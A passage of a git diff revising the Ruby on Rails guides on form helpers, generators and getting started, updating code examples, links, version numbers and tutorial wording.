+ [ + ['Lisbon', 1, { 'data-size' => '2.8 million' }], + ['Madrid', 2, { 'data-size' => '3.2 million' }] + ], 2 +) %> output: @@ -451,7 +470,7 @@ In most cases form controls will be tied to a specific database model and as you <%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> ``` -Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute. +Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute. As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be: @@ -460,6 +479,16 @@ As with other helpers, if you were to use the `select` helper on a form builder <%= f.select(:city_id, ...) %> ``` +You can also pass a block to `select` helper: + +```erb +<%= f.select(:city_id) do %> + <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%> + <%= content_tag(:option, c.first, value: c.last) %> + <% end %> +<% end %> +``` + WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. ### Option Tags from a Collection of Arbitrary Objects @@ -553,7 +582,7 @@ outputs (with actual option values omitted for brevity) which results in a `params` hash like ```ruby -{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} +{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} ``` When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. @@ -605,7 +634,7 @@ The object in the `params` hash is an instance of a subclass of IO. Depending on ```ruby def upload uploaded_io = params[:person][:picture] - File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file| + File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file| file.write(uploaded_io.read) end end @@ -664,7 +693,7 @@ Understanding Parameter Naming Conventions As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create` action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on. -Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. +Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example, @@ -737,7 +766,7 @@ You might want to render a form with a set of edit fields for each of a person's <%= form_for @person do |person_form| %> <%= person_form.text_field :name %> <% @person.addresses.each do |address| %> - <%= person_form.fields_for address, index: address do |address_form|%> + <%= person_form.fields_for address, index: address.id do |address_form|%> <%= address_form.text_field :city %> <% end %> <% end %> @@ -760,9 +789,16 @@ This will result in a `params` hash that looks like {'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} ``` -Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created). +Rails knows that all these inputs should be part of the person hash because you +called `fields_for` on the first form builder. By specifying an `:index` option +you're telling Rails that instead of naming the inputs `person[address][city]` +it should insert that index surrounded by [] between the address and the city. +This is often useful as it is then easy to locate which Address record +should be modified. You can pass numbers with some other significance, +strings or even `nil` (which will result in an array parameter being created). -To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example +To create more intricate nestings, you can specify the first part of the input +name (`person[address]` in the previous example) explicitly: ```erb <%= fields_for 'person[address][primary]', address, index: address do |address_form| %> @@ -788,21 +824,21 @@ As a shortcut you can append [] to the name and omit the `:index` option. This i produces exactly the same output as the previous example. -Forms to external resources +Forms to External Resources --------------------------- -If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options: +Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options: ```erb -<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %> +<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %> Form contents <% end %> ``` -Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option: +Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option: ```erb -<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %> +<%= form_tag 'http://farfar.away/form', authenticity_token: false do %> Form contents <% end %> ``` @@ -845,7 +881,7 @@ end This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. -### Building the Form +### Nested Forms The following form allows a user to create a `Person` and its associated addresses. @@ -868,38 +904,40 @@ The following form allows a user to create a `Person` and its associated address ``` -When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form. +When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form. ```ruby def new @person = Person.new - 3.times { @person.addresses.build} + 2.times { @person.addresses.build} end ``` -`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like +The `fields_for` yields a form builder. The parameters' name will be what +`accepts_nested_attributes_for` expects. For example when creating a user with +2 addresses, the submitted parameters would look like: ```ruby { - :person => { - :name => 'John Doe', - :addresses_attributes => { - '0' => { - :kind => 'Home', - :street => '221b Baker Street', - }, - '1' => { - :kind => 'Office', - :street => '31 Spooner Street' - } - } + 'person' => { + 'name' => 'John Doe', + 'addresses_attributes' => { + '0' => { + 'kind' => 'Home', + 'street' => '221b Baker Street' + }, + '1' => { + 'kind' => 'Office', + 'street' => '31 Spooner Street' + } } + } } ``` The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. -If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id. +If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`. ### The Controller @@ -914,9 +952,9 @@ def create end private -def person_params - params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) -end + def person_params + params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) + end ``` ### Removing Objects @@ -930,7 +968,9 @@ class Person < ActiveRecord::Base end ``` -If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses: +If the hash of attributes for an object contains the key `_destroy` with a value +of `1` or `true` then the object will be destroyed. This form allows users to +remove addresses: ```erb <%= form_for @person do |f| %> @@ -938,7 +978,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value <ul> <%= f.fields_for :addresses do |addresses_form| %> <li> - <%= check_box :_destroy%> + <%= addresses_form.check_box :_destroy%> <%= addresses_form.label :kind %> <%= addresses_form.text_field :kind %> ... @@ -973,4 +1013,4 @@ As a convenience you can instead pass the symbol `:all_blank` which will create ### Adding Fields on the Fly -Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice. +Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice. diff --git a/guides/source/generators.md b/guides/source/generators.md index a8a34d0ac4..4a5377c206 100644 --- a/guides/source/generators.md +++ b/guides/source/generators.md @@ -35,7 +35,7 @@ $ rails generate helper --help Creating Your First Generator ----------------------------- -Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. +Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content: @@ -47,7 +47,7 @@ class InitializerGenerator < Rails::Generators::Base end ``` -NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) +NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. @@ -171,7 +171,7 @@ Before we customize our workflow, let's first see what our scaffold looks like: ```bash $ rails generate scaffold User name:string invoke active_record - create db/migrate/20091120125558_create_users.rb + create db/migrate/20130924151154_create_users.rb create app/models/user.rb invoke test_unit create test/models/user_test.rb @@ -193,6 +193,9 @@ $ rails generate scaffold User name:string create app/helpers/users_helper.rb invoke test_unit create test/helpers/users_helper_test.rb + invoke jbuilder + create app/views/users/index.json.jbuilder + create app/views/users/show.json.jbuilder invoke assets invoke coffee create app/assets/javascripts/users.js.coffee @@ -204,7 +207,7 @@ $ rails generate scaffold User name:string Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication. -Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: +Our first customization on the workflow will be to stop generating stylesheets, javascripts and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: ```ruby config.generators do |g| @@ -212,20 +215,28 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` -If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. +If we generate another resource with the scaffold generator, we can see that stylesheets, javascripts and fixtures are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks: ```bash $ rails generate generator rails/my_helper + create lib/generators/rails/my_helper + create lib/generators/rails/my_helper/my_helper_generator.rb + create lib/generators/rails/my_helper/USAGE + create lib/generators/rails/my_helper/templates ``` -After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following: +After that, we can delete both the `templates` directory and the `source_root` +class method call from our new generator, because we are not going to need them. +Add the method below, so our generator looks like the following: ```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -241,6 +252,7 @@ We can try out our new generator by creating a helper for users: ```bash $ rails generate my_helper products + create app/helpers/products_helper.rb ``` And it will generate the following helper file in `app/helpers`: @@ -259,6 +271,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false g.helper :my_helper end ``` @@ -279,6 +292,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe To do that, we can change the generator this way: ```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -322,6 +336,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` @@ -340,6 +355,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :shoulda, fixture: false g.stylesheets false + g.javascripts false # Add a fallback! g.fallbacks[:shoulda] = :test_unit @@ -351,7 +367,7 @@ Now, if you create a Comment scaffold, you will see that the shoulda generators ```bash $ rails generate scaffold Comment body:text invoke active_record - create db/migrate/20091120151323_create_comments.rb + create db/migrate/20130924143118_create_comments.rb create app/models/comment.rb invoke shoulda create test/models/comment_test.rb @@ -373,6 +389,9 @@ $ rails generate scaffold Comment body:text create app/helpers/comments_helper.rb invoke shoulda create test/helpers/comments_helper_test.rb + invoke jbuilder + create app/views/comments/index.json.jbuilder + create app/views/comments/show.json.jbuilder invoke assets invoke coffee create app/assets/javascripts/comments.js.coffee @@ -422,7 +441,7 @@ Generator methods The following are methods available for both generators and templates for Rails. -NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) +NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) ### `gem` @@ -541,7 +560,7 @@ This method also takes a block: ```ruby vendor "seeds.rb" do - "puts 'in ur app, seeding ur database'" + "puts 'in your app, seeding your database'" end ``` diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md index 2574a2c111..389ffdac6e 100644 --- a/guides/source/getting_started.md +++ b/guides/source/getting_started.md @@ -21,19 +21,22 @@ application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: -* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer -* The [RubyGems](http://rubygems.org/) packaging system - * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1) -* A working installation of the [SQLite3 Database](http://www.sqlite.org) +* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer. +* The [RubyGems](http://rubygems.org) packaging system, which is installed with Ruby + versions 1.9 and later. To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org). +* A working installation of the [SQLite3 Database](http://www.sqlite.org). Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning -curve diving straight into Rails. There are some good free resources on the -Internet for learning Ruby, including: +curve diving straight into Rails. There are several curated lists of online resources +for learning Ruby: -* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com) -* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/) -* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/) +* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/) +* [reSRC's List of Free Programming Books](http://resrc.io/list/10/list-of-free-programming-books/#ruby) + +Be aware that some resources, while still excellent, cover versions of Ruby as old as +1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day +development with Rails. What is Rails? -------------- @@ -54,9 +57,13 @@ learned elsewhere, you may have a less happy experience. The Rails philosophy includes two major guiding principles: -* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. -* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to -do it, rather than requiring you to specify every little thing through endless configuration files. +* **Don't Repeat Yourself:** DRY is a principle of software development which + states that "Every piece of knowledge must have a single, unambiguous, authoritative + representation within a system." By not writing the same information over and over + again, our code is more maintainable, more extensible, and less buggy. +* **Convention Over Configuration:** Rails has opinions about the best way to do many + things in a web application, and defaults to this set of conventions, rather than + require that you specify every minutiae through endless configuration files. Creating a New Rails Project ---------------------------- @@ -71,9 +78,9 @@ By following along with this guide, you'll create a Rails project called (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. -TIP: The examples below use `#` and `$` to denote superuser and regular -user terminal prompts respectively in a UNIX-like OS. If you are using -Windows, your prompt will look something like `c:\source_code>` +TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS, +though it may have been customized to appear differently. If you are using Windows, +your prompt will look something like `c:\source_code>` ### Installing Rails @@ -82,104 +89,158 @@ Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose dollar sign `$` should be run in the command line. Verify that you have a current version of Ruby installed: +TIP. A number of tools exist to help you quickly install Ruby and Ruby +on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), +while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp). + ```bash $ ruby -v -ruby 1.9.3p385 +ruby 2.0.0p353 ``` +If you don't have Ruby installed have a look at +[ruby-lang.org](https://www.ruby-lang.org/en/installation/) for possible ways to +install Ruby on your platform. + +Many popular UNIX-like OSes ship with an acceptable version of SQLite3. Windows +users and others can find installation instructions at [the SQLite3 website](http://www.sqlite.org). +Verify that it is correctly installed and in your PATH: + +```bash +$ sqlite3 --version +``` + +The program should report its version. + To install Rails, use the `gem install` command provided by RubyGems: ```bash $ gem install rails ``` -TIP. A number of tools exist to help you quickly install Ruby and Ruby -on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use -[Rails One Click](http://railsoneclick.com). - -To verify that you have everything installed correctly, you should be able to run the following: +To verify that you have everything installed correctly, you should be able to +run the following: ```bash $ rails --version ``` -If it says something like "Rails 4.0.0", you are ready to continue. +If it says something like "Rails 4.1.0", you are ready to continue. ### Creating the Blog Application -Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself. +Rails comes with a number of scripts called generators that are designed to make +your development life easier by creating everything that's necessary to start +working on a particular task. One of these is the new application generator, +which will provide you with the foundation of a fresh Rails application so that +you don't have to write it yourself. -To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type: +To use this generator, open a terminal, navigate to a directory where you have +rights to create files, and type: ```bash $ rails new blog ``` -This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`. +This will create a Rails application called Blog in a `blog` directory and +install the gem dependencies that are already mentioned in `Gemfile` using +`bundle install`. -TIP: You can see all of the command line options that the Rails -application builder accepts by running `rails new -h`. +TIP: You can see all of the command line options that the Rails application +builder accepts by running `rails new -h`. -After you create the blog application, switch to its folder to continue work directly in that application: +After you create the blog application, switch to its folder: ```bash $ cd blog ``` -The `rails new blog` command we ran above created a folder in your -working directory called `blog`. The `blog` directory has a number of -auto-generated files and folders that make up the structure of a Rails -application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default: +The `blog` directory has a number of auto-generated files and folders that make +up the structure of a Rails application. Most of the work in this tutorial will +happen in the `app` folder, but here's a basic rundown on the function of each +of the files and folders that Rails created by default: | File/Folder | Purpose | | ----------- | ------- | |app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.| |bin/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| -|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)| +|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).| |config.ru|Rack configuration for Rack based servers used to start the application.| |db/|Contains your current database schema, as well as the database migrations.| -|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) | +|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com).| |lib/|Extended modules for your application.| |log/|Application log files.| -|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| +|public/|The only folder seen by the world as-is. Contains static files and compiled assets.| |Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| |README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| -|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)| -|tmp/|Temporary files (like cache, pid and session files)| -|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).| +|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).| +|tmp/|Temporary files (like cache, pid, and session files).| +|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.| Hello, Rails! ------------- -To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running. +To begin with, let's get some text up on screen quickly. To do this, you need to +get your Rails application server running. ### Starting up the Web Server -You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running: +You actually have a functional Rails application already. To see it, you need to +start a web server on your development machine. You can do this by running the +following in the `blog` directory: ```bash $ rails server ``` -TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme). +TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the +absence of a runtime will give you an `execjs` error. Usually Mac OS X and +Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` +gem to the generated `Gemfile` in a commented line for new apps and you can +uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby +users and is added by default to the `Gemfile` in apps generated under JRuby. +You can investigate about all the supported runtimes at +[ExecJS](https://github.com/sstephenson/execjs#readme). -This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page: +This will fire up WEBrick, a web server distributed with Ruby by default. To see +your application in action, open a browser window and navigate to +<http://localhost:3000>. You should see the Rails default information page: - + -TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server. +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's +running. To verify the server has stopped you should see your command prompt +cursor again. For most UNIX-like systems including Mac OS X this will be a +dollar sign `$`. In development mode, Rails does not generally require you to +restart the server; changes you make in files will be automatically picked up by +the server. -The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment. +The "Welcome aboard" page is the _smoke test_ for a new Rails application: it +makes sure that you have your software configured correctly enough to serve a +page. You can also click on the _About your application's environment_ link to +see a summary of your application's environment. ### Say "Hello", Rails -To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_. +To get Rails saying "Hello", you need to create at minimum a _controller_ and a +_view_. -A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view. +A controller's purpose is to receive specific requests for the application. +_Routing_ decides which controller receives which requests. Often, there is more +than one route to each controller, and different routes can be served by +different _actions_. Each action's purpose is to collect information to provide +it to a view. -A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user. +A view's purpose is to display this information in a human readable format. An +important distinction to make is that it is the _controller_, not the view, +where information is collected. The view should just display that information. +By default, view templates are written in a language called eRuby (Embedded +Ruby) which is processed by the request cycle in Rails before being sent to the +user. -To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this: +To create a new controller, you will need to run the "controller" generator and +tell it you want a controller called "welcome" with an action called "index", +just like this: ```bash $ rails generate controller welcome index @@ -189,7 +250,7 @@ Rails will create several files and a route for you. ```bash create app/controllers/welcome_controller.rb - route get "welcome/index" + route get 'welcome/index' invoke erb create app/views/welcome create app/views/welcome/index.html.erb @@ -206,9 +267,13 @@ invoke scss create app/assets/stylesheets/welcome.css.scss ``` -Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`. +Most important of these are of course the controller, located at +`app/controllers/welcome_controller.rb` and the view, located at +`app/views/welcome/index.html.erb`. -Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all of the existing code in the file, and replace it with the following single line of code: +Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all +of the existing code in the file, and replace it with the following single line +of code: ```html <h1>Hello, Rails!</h1> @@ -216,148 +281,232 @@ Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all ### Setting the Application Home Page -Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot. +Now that we have made the controller and view, we need to tell Rails when we +want "Hello, Rails!" to show up. In our case, we want it to show up when we +navigate to the root URL of our site, <http://localhost:3000>. At the moment, +"Welcome aboard" is occupying that spot. Next, you have to tell Rails where your actual home page is located. Open the file `config/routes.rb` in your editor. ```ruby -Blog::Application.routes.draw do - get "welcome/index" +Rails.application.routes.draw do + get 'welcome/index' # The priority is based upon order of creation: # first created -> highest priority. - # ... + # # You can have the root of your site routed with "root" - # root "welcome#index" + # root 'welcome#index' + # + # ... ``` -This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root` and uncomment it. It should look something like the following: +This is your application's _routing file_ which holds entries in a special DSL +(domain-specific language) that tells Rails how to connect incoming requests to +controllers and actions. This file contains many sample routes on commented +lines, and one of them actually shows you how to connect the root of your site +to a specific controller and action. Find the line beginning with `root` and +uncomment it. It should look something like the following: ```ruby -root "welcome#index" +root 'welcome#index' ``` -The `root "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`). +`root 'welcome#index'` tells Rails to map requests to the root of the +application to the welcome controller's index action and `get 'welcome/index'` +tells Rails to map requests to <http://localhost:3000/welcome/index> to the +welcome controller's index action. This was created earlier when you ran the +controller generator (`rails generate controller welcome index`). -If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly. +Launch the web server again if you stopped it to generate the controller (`rails +server`) and navigate to <http://localhost:3000> in your browser. You'll see the +"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`, +indicating that this new route is indeed going to `WelcomeController`'s `index` +action and is rendering the view correctly. TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html). Getting Up and Running ---------------------- -Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance. +Now that you've seen how to create a controller, an action and a view, let's +create something with a bit more substance. -In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations. +In the Blog application, you will now create a new _resource_. A resource is the +term used for a collection of similar objects, such as articles, people or +animals. +You can create, read, update and destroy items for a resource and these +operations are referred to as _CRUD_ operations. -Rails provides a `resources` method which can be used to declare a standard REST resource. -Here's what `config/routes.rb` should look like after the _post resource_ is declared. +Rails provides a `resources` method which can be used to declare a standard REST +resource. Here's what `config/routes.rb` should look like after the +_article resource_ is declared. ```ruby -Blog::Application.routes.draw do +Rails.application.routes.draw do - resources :posts + resources :articles - root "welcome#index" + root 'welcome#index' end ``` -If you run `rake routes`, you'll see that all the routes for the -standard RESTful actions. +If you run `rake routes`, you'll see that it has defined routes for all the +standard RESTful actions. The meaning of the prefix column (and other columns) +will be seen later, but for now notice that Rails has inferred the +singular form `article` and makes meaningful use of the distinction. ```bash $ rake routes - posts GET /posts(.:format) posts#index - POST /posts(.:format) posts#create - new_post GET /posts/new(.:format) posts#new -edit_post GET 